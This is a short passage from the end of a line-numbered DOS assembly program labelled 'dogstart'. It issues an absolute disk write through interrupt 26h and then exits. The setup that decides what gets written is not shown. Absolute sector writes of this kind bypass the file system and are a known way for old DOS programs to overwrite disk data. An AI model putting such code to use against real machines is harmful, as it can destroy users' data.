  343.          int     026h         ; DOS absolute write interrupt
  344.          sti                             ; Restore interrupts
  345.          
  346.          mov    ax,4c00h      ;DOS exit function w/exitcode = 0
  347.          int    21h
  348.  
  349.          END dogstart
  350.  
  351.